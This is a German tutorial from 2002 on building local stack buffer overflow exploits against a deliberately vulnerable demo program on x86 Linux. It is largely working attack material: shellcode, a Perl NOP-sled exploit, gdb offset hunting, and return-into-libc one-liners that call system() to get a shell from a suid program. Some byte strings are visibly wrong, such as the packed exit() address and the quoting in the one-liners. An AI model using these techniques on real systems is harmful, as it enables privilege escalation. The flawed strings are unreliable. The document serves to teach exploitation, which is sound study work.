@2002 websec.org
Version 0.1
2002 Martin Eiszner (mei@websec.org)
http://www.websec.org
(sorry, but this document is written in german. an english version will be available in the near future)
*** "Lokale stackbasierende Bufferueberlaeufe - FAST AND EASY GOING" ***
I Einleitung
Dieses Dokument behandelt Methoden, die das schnelle Erstellen von sogenannten
"Proof of Concept" Exploits fuer lokale und "stack-basierende" Bufferueberlaeufe einfacher
machen.Alle Beispiele sind fuer Linux basierende X86, ELF, "little endian" Systeme geschrieben.
Fuer eine Einfuehrung und generelle Infos ueber Buefferueberlaeufe gibt es eine Reihe
von Links am Ende dieses Dokuments. Viele der hier beschriebenen Methoden wurden bereits
in der einen oder anderen Form in verschiedensten "Whitepapers" niedergeschrieben.
Lieder habe ich (fast) keine deutschen "Whitepapers" zu diesen Themen gefunden.
Das Dokument beschaeftigt sich NICHT mit Formatstring- und Heap(aAe.)- basierenden
Ueberlaeufen. Dafuer wird es in Zukunft ein dementsprechendes "FollowUp" geben.
Der Autor gibt keine Garantie auf Vollstaendigkeit und 100%ige Richtigkeit.
***
Was wir als erstes benoetigen ist ein Demo-Programm(natuerlich mit einem ungesicherten buffer):
bad.c
---cut here---
int function(char *string)
{
char foovar[256];
strcpy(foovar, string);
printf("got (%s)\n",foovar);
return 25;
}
int main(int argc, char **argv)
{
int i=0;
if (argc > 1)
function(argv[1]);
printf("game over\n");
return 222;
}
---cut here---
Wir wissen was jetzt passieren wird:
---*---
bash$ ./bad hoschi
got (hoschi)
game over
bash$ bad `perl -e 'print "A"x300;'`
got (AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
Segmentation fault
---*---
Wir haben den zuerst "foovar" ueberschrieben, dann EBP(base pointer), und schliesslich auch
noch EIP(instruction pointer). Das Etappenziel ist erreicht. (Wenn du jetzt noch nicht weisst,
wofuer das gut sein soll, dann verfolge bitte einen oder mehrere Links am Ende dieses Dokuments)
Mit gdb's Hilfe bestimmen wir jetzt die exakte Laenge des Strings, die notwendig ist um EIP
zu ueberschreiben.
---*---
bash$ gdb bad
[gdb banner]
(gdb) run `perl -e 'print "A"x257;'`
Starting program: /home/mei/h/docs/german/bad `perl -e 'print "A"x257;'`
got (AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
game over
Program received signal SIGSEGV, Segmentation fault.
0x80484b2 in main ()
(gdb) info registers
[crap]
ebp 0xbfff0041 0xbfff0041
esi 0x40015d64 1073831268
edi 0xbffff704 -1073744124
eip 0x80484b2 0x80484b2
[crap]
x/20x $esp
[crap]
(gdb)
0xbffff814: 0x00000064 0x0000000f 0xbffff831 0x00000000
0xbffff824: 0x00000000 0x00000000 0x00000000 0x38366900
0xbffff834: 0x682f0036 0x2f656d6f 0x2f69656d 0x6f642f68
0xbffff844: 0x672f7363 0x616d7265 0x61622f6e 0x41410064
0xbffff854: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xbffff864: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff874: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff884: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff894: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8a4: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
[more crap]
---*---
(nicht dass ihr das nicht wuesstet...aber hex(41)=A ... )
Nach ein paar Versuchen..
---*---
Starting program: /home/mei/h/docs/german/bad `perl -e 'print "A"x256,"HGFEAAAA";'`
got (AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
HGFEAAAA)
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r $ebp $eip
ebp 0x45464748 0x45464748
eip 0x41414141 0x41414141
(gdb)
---*---
(auch das wisst ihr sicher ... AAAA EFGH ist hex: "41414141 45464748")
Es ist vollbracht. 264 Characters ueberlaufen EBP und EIP total (256 + 8).
Jetzt zu den einfachen und noch einfacheren Exploit-Methoden..
II Methoden
Generelles
Wie bereits in der Einleitung erwaehnt. Dieses Dokument beschreibt nur Methoden, die
der Autor fuer schnell und effizient haelt. Es beschaeftigst sich unter Anderen nicht
mit dem Ueberschreiben der GOT, dem Ueberschreiben der stop()-Adresse in .dtors oder dem
Errechnen der Adresse der letzten Environment Variable (mittels 0xBFFFFFFA-strlen(progname)-
strlen(envp[n])) .. und den vielen anderen Methoden am Markt :-).
Jede Methode hat ihre Vor- und Nachteile. Bitte keine Flames in der Art "Methode X ist ja viel
besser weil ....).
Ich konzentriere mich in erster Linie darauf schnell und effizient zu sein.
Der Shellcode
Sofern notwendig verwenden wir fuer alle Exploits folgenden shellcode:
(Aus Faulheit produziert mit shellxp von teso = http://www.team-teso.at)
---cut here---
"\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07"
"\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b"
"\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff"
"\xff\xff\x03\x69\x68\x61\x76\x65\x79\x6f\x75\x6e"
"\x6f\x77\x03\x2d\x65\x02\x2f\x62\x69\x6e\x2f\x65"
"\x63\x68\x6f\x01";
---cut here---
(Dieser Shellcode gibt nur "ihaveyounow" aus .. das sollte als "Proof of Concept" reichen :-)
(Fuer detailliertere Informationen ueber das Erstellen von Shellcode bitte einen
oder mehrere der Links am Ende des Dokuments verfolgen)
a) Der Klassiker
Die bekannteste Methode. Erstmals vor "einigen" Jahren ausfuehrlich von Aleph (smashing the stack for
fun and profit) beschrieben. Der einzige Unterschied hier ist, dass wir Perl fuer den Exploitcode
verwenden werden. Warum Perl? .. na ja .. darum!
Wir wissen bereits, dass wir mit 256+8 Characters den EIP ueberschrieben haben. Was nun?
Nach der klassischen Methode sollte die sogenannte "Payload" (der Ueberlaufstring?) in etwa
so aussehen:
Totale Bufferlaenge = TBL = 256+8
No operation Command(NOP) fuer unsere Architektur = N = 0x90
Schellcode = S
R = ReturnAdresse = R (mit einem Offset / Spaeter mehr zum Thema Offset)
Buffer TBL = [NNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSSSRRRRRRRR]
Unser vorrangiges Ziel ist es jetzt die Returnadresse(n) (R) moeglichst innerhalb
der NOPs (N) zeigen zu lassen.
Buffer TBL = [NNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSSSRRRRRRRR]
^
^
^
^
(Natuerlich darf der Buffer keine Nullbytes enthalten!)
Fuer das Exploit benoetigen wir eine ESP-Adresse. Diese koennen wir (zumindest
kurz vor dem Segfault mit Hilfe des gdb herausfinden:
---*---
$bash> gdb bad
[crap]
(gdb) break main
Breakpoint 1 at 0x804847a
(gdb) run `perl -e 'print "A"x264;'`
Starting program: /home/mei/h/docs/german/bad `perl -e 'print "A"x264;'`
Breakpoint 1, 0x804847a in main ()
---*---
"info registers $esp" liefert uns die Adresse.
---*---
(gdb) i r $esp
esp 0xbffff674 0xbffff674
(gdb)
---*---
... voila ...
Anm.: In einem klassischen C-Exploit wuerden wir die "momentane" Addresse von ESP
folgendermassen bestimmen:
---cut here---
unsigned long getesp()
{
__asm__("movl %esp, %eax");
}
---cut here---
.. Thats it .. jetzt unser Demo-Exploit in Perl. Es sollte ausreichend dokumentiert sein.
badexploit.pl
---cut here---
#!/usr/bin/perl
#
# Bufferueberlauf Demo-Exploit
# zu DemoProg bad.c mit Hilfe
# der klassischen Methode
# Der Ueberlaufbuffer
$payload = "";
# Der folgende Shellcode(sc) wird, bei erfolgreicher Ausfuehrung
# "ihaveyounow" ausgeben.
$sc = "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07".
"\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b".
"\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff".
"\xff\xff\x03\x69\x68\x61\x76\x65\x79\x6f\x75\x6e".
"\x6f\x77\x03\x2d\x65\x02\x2f\x62\x69\x6e\x2f\x65".
"\x63\x68\x6f\x01";
# Die Bufferlaenge (von payload)
$len = 256 + 8;
# Jetzt die geschaetzte Adresse des ESP
# kurz bevor der Segfault passiert
# unser kleiner Unsicherheitsfaktor
$ret = 0xbffff674;
# Unser Wert fuer NoOperation NOP
$nop = "\x90";
# Das Offset mit dem wir hoffentlich ohne
# allzuviele Versuche mitten in die NOPs treffen
# werden. Das Offset ist von einigen Faktoren abhaengig.
# Die intensive Nutzung von gdb kann helfen brute-
# force Methoden weitgehend zu minimieren.
$offset = 500;
# Das offset muss oft per brute-force herausgefunden werden
# und inst von vielen faktoren abhaengig (stack waehrend execution
# time / am besten mit gdb -> break (kurz vor funktion) -> x/20x $esp
# usw die NOPs (0x90) hinterlassen eine klare spur - vergleich ESP mit
# den adressen der NOPs ... etc.
# Daher ... es wird uns nicht erspart bleiben, ein bischen mit dem Offset
# zu spielen.
if ($ARGV[0] > 0)
{
$offset = $ARGV[0];
}
# Zuerst mal mit NOPs gefuellt
# die "-100" sind natuerlich von der Laenge des
# Shellcodes(sc) abhaengig, variabel und ein bischen geschaetzt.
# Natuerlich koennte man hier auch sagen:
# anzahl NOPs = bufferlaenge - shellcodelaenge - 8
# um ganz genau zu sein
for ($i=0; $i<($len-length($sc)-100); $i++)
{
$payload .= $nop;
}
# .. Dann der Shellcode
$payload .= $sc;
# Wir koennten jetzt die Returnadresse mit dem dazugehoerigen
# Offset ausgeben .. natuerlich nur zu Infozwecken, sonst stehts
# ja in der payload !
#
#print ("\n0x", sprintf('%lx',($ret+$offset)), "\n\n");
# Die Adresse muss natuerlich "binaer" ausgegeben werden.
# Wir konvertieren sie mittels pack in einen "signed long",
# das bekannterweise (4 Bytes=2 Words=Adresslaenge) lang ist.
# das sind dann diese eigenartig aussehenden zeichenketten :-)
$binret = pack("l", ($ret+$offset));
# Jetzt noch die neue Returnadresse ein "paar mal" an unseren
# exploit-buffer (=payload) anhaengen ... natuerlich so lange bis er voll ist.
for ($i += length($sc); $i<$len; $i+=4)
{
$payload .= $binret;
}
print $payload;
# Das sollte es gewesen sein
# In unserem beispiel koennen wir das Exploit jetzt mit:
# $shell> bad `./badexploit.pl`
# testen
# Das ist von Prog zu Prog verschieden und natuerlich
# koennte man das Prog auch hier drinnen mittels system
# oder was auch immer aufrufen.....
---cut here---
Nach mehr oder weniger Versuchen (je nach offset ..):
---*---
bash$ bad `./badexploit.pl 500`
got ([crap removed ...])
ihaveyounow
---*---
Wie man sieht kann man mit dieser Methode bereits sehr viel erreichen. Allerdings
ist es nicht immer so leicht wie hier, richtige Werte fuer Offsets und die Retour-
Adresse im generellen zu finden.
Anm.: Fuer "stack smashing" - Remoteexploits ist diese Methode trotzdem noch die Nr. I.
Wir wollen uns heute allerdings mit lokalen Problemen beschaeftigen.
Deswegen werdet ihr jetzt vielleicht gerne ein Auge auf diese(meine bevorzugte) Methode
fuer lokale- und stackbasierende Bufferueberlaeufe werfen:
b) Methode Environment-Variablen und/oder "Easy Return into Libc"
b.1.) Shellcode ins Environment
Zuerst mal kreieren wir eine Variable. Obwohl theoretisch nicht notwendig, ist es doch
sinnvoll den Shellcode mit jeder Menge NOPs zu versehen. So kann man ihn mit dem debugger
dann viel leichter finden:
---*---
export MUNGO=`perl -e 'print "\x90"x100,"\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a
\x07\x47\x57\xae\x75\xfd\x88\x67\xff\x48
\x75\xf6\x5b\x53\x50\x5a\x89\xe1\xb0\x0b
\xcd\x80\xe8\xdc\xff\xff\xff\x03\x69\x68
\x61\x76\x65\x79\x6f\x75\x6e\x6f\x77\x03
\x2d\x65\x02\x2f\x62\x69\x6e\x2f\x65\x63
\x68\x6f\x01";'`
---*---
Anm.: Natuerlich kann man den Shellcode auch mittels Script oder Programm im Environment unter-
bringen.
Jetzt kommt wieder der Debugger ins Spiel:
---*---
bash$ gdb bad
(gdb) break main
Breakpoint 1 at 0x804847a
(gdb) run
Starting program: /home/mei/h/docs/german/bad
Breakpoint 1, 0x804847a in main ()
(gdb) x/20x $esp
0xbffff6d4: 0x0804960c 0xbffff6f8 0x4004f138 0x4012ba58
0xbffff6e4: 0x4000ba90 0xbffff708 0xbffff728 0x4003d2eb
0xbffff6f4: 0x00000001 0xbffff754 0xbffff75c 0x080484ec
0xbffff704: 0x00000000 0xbffff728 0x4003d2bd 0x400157f4
0xbffff714: 0x00000001 0x08048350 0xbffff754 0x4003d230
---*---
Jetzt durch den ganzen Krempel blaettern, bis wir unsere NOP Signatur(0x90) finden:
---*---
0xbfffff24: 0x73326a2f 0x2e316b64 0x2f302e34 0x2f6e6962
0xbfffff34: 0x4e554d00 0x903d4f47 0x90909090 0x90909090
(gdb)
0xbfffff44: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff54: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff64: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff74: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff84: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb)
0xbfffff94: 0x90909090 0x90909090 0xeb909090 0xfc895f1f
0xbfffffa4: 0x31d4f766 0x47078ac0 0xfd75ae57 0x48ff6788
---*---
Leicht zu finden. Jetzt waehlen wir eine Adresse mitten in den NOPs.
Als Beispiel: "0xbfffff64"
Wie wir wissen kommt nach den NOPs unser guter Shellcode. Wie waere es also,
ganz einfach die Returnadresse dorthin zu verbiegen !?!.
---*---
bash$ bad `perl -e 'print "\x64\xff\xff\xbf"x66;'`
[crap]
ihaveyounow
---*---
Erster Versuch -> Direct Hit -> tataaa. Das war ganz schoen einfach :-)
Was haben wir getan?
Wir haben ganz einfach den ganzen Buffer (laenge 264) mit der vorher gefundenen
Adresse(0xbfffff64), die irgendwo mitten in die NOPs im Stack zeigte, gefuellt.
Jede Adresse benoetigt 4 Bytes. 264/4=66. So haben wir 66 mal die Adresse in den Buffer geschrieben.
Die Adresse muss natuerlich in "little endian" format geschrieben werden (Mehr dazu, wenn
man einen oder mehrere Links am Ende dieses Dokuments verfolgt).
***
Jetzt zur meist noch schenlleren und auch sinnvolleren Variante. In den meisten Faellen will ich
ganz einfach ein suid-Programm dazu veranlassen, mir eine Shell zu erzeugen.
Anstatt den Shellcode im Environment unterzubringen, kann man jetzt folgendes tun:
Unterbringen der "Payload" im Environment:
---*---
export MUNGO=`perl -e 'print "../"x100,"bin/ksh";'`
---*---
Man beachte die "../". Es ist nichts anderes als unsere NOPs im vorigen Beispiel Mit Hilfe
dieser Signatur, kann ich die Variable leichter beim Debuggen ausfindig machen.
Non wieder der Debugger angeworfen und der Stack inspiziert (Genau wie beim vorigen Beispiel):
---*---
bash$ gdb bad
(gdb) break main
Breakpoint 1 at 0x804847a
(gdb) run
Starting program: /home/mei/h/docs/german/bad
Breakpoint 1, 0x804847a in main ()
(gdb) x/20x $esp
[crap]
0xbffffea4: 0x554d002f 0x3d4f474e 0x2e2f2e2e 0x2e2e2f2e
(gdb)
0xbffffeb4: 0x2f2e2e2f 0x2e2f2e2e 0x2e2e2f2e 0x2f2e2e2f
0xbffffec4: 0x2e2f2e2e 0x2e2e2f2e 0x2f2e2e2f 0x2e2f2e2e
0xbffffed4: 0x2e2e2f2e 0x2f2e2e2f 0x2e2f2e2e 0x2e2e2f2e
0xbffffee4: 0x2f2e2e2f 0x2e2f2e2e 0x2e2e2f2e 0x2f2e2e2f
0xbffffef4: 0x2e2f2e2e 0x2e2e2f2e 0x2f2e2e2f 0x2e2f2e2e
(gdb)
0xbfffff04: 0x2e2e2f2e 0x2f2e2e2f 0x2e2f2e2e 0x2e2e2f2e
[crap]
---*---
Wir wissen jetzt, dass wir bei "0xbffffed4" unsere Payload finden.
(Natuerlich wissen das alle .. aber .. 0x2e0x2e0x2f = "../")
Jetzt suchen wir uns eine libc-Funktion wie zBsp.: "system" oder "execve". Wenn wir diese mit
einem Pointer zu unserer Payload versorgen koennen, haben wir unser Ziel erreicht.
---*---
bash$ gdb bad
(gdb) break main
Breakpoint 1 at 0x804847a
(gdb) run
Starting program: /home/mei/h/docs/german/bad
Breakpoint 1, 0x804847a in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40068870 <__libc_system>
(gdb)
---*---
Gefunden, "0x40068870" ist die Adresse, mit der wir unsere Returnadresse ueberschreiben
werden.
---*---
bash$ bad `perl -e 'print "\x70\x88\x06\x40"x66","AAAA","\xd4\xfe\xff\xbf"'`
got (lots of [crap])
ksh$
---*---
Yepp .. Aber was haben wir getan?
Wir haben den kompletten Buffer mit der Adresse von system ueberschrieben. Anschliessen
eine Dummyadresse als Returnadresse fuer unsere eigene Funktion ("AAAA") geschrieben, und
dann den Pointer auf unsere "Payload" (Alle Adressen natuerlich im "little endian" format)
geschrieben.
Nachdem wir obige Shell wieder verlassen, erhalten wir eine "Segfault". Das ruehrt daher,
dass die Returnadresse unserer Funktion nach "AAAA" zeigt. Dort wird allerdings nichts zu
finden sein.
Wie auch immer. Fuer die Perfektionisten (zu denen ich ganz bestimmt nicht gehoere :-):
---*---
bash$ gdb bad
(gdb) break main
Breakpoint 1 at 0x804847a
(gdb) run
Starting program: /home/mei/h/docs/german/bad
Breakpoint 1, 0x804847a in main ()
(gdb) p exit
$1 = {void (int)} 0x4004efe0 <exit>
---*---
So .. wenn wir diese Adresse ("0x4004efe0" <exit>) anstatt der Dummy-Returnadresse verwenden,
gibt das ein sauberes Exploit ohne Segfault:
---*---
bash$ bad `perl -e 'print "\x70\x88\x06\x40"x66","\x0e\xef\x04\x40","\xd4\xfe\xff\xbf"'`
got (lots of [crap])
ksh$ exit
bash$
---*---
Verglichen mit den klassischen Methoden sind diese hier schnell und auch sicherer. Man vergleiche dazu
das "klassische" Exploit und den "Einzeiler" am Schluss!
Sollte bei neueren Shells die Methode mit "system" nicht funktionieren, empfiehlt sich die Verwendung von
"execve" stattdessen.
Natuerlich uebernimmt der Autor keine Gewaehr auf Richtigkeit der Informationen und Methoden, die in diesem
Dokument beschrieben wurden.
EOF-mei@websec.org
Linkliste:
http://www.phrack.org/phrack/49/P49-14
http://www.team-teso.net
http://www.bursztein.net/secu/rilc.html
http://www.drpaulcarter.com/pcasm/
uVaM.
EOF-mei@websec.org / http://www.websec.org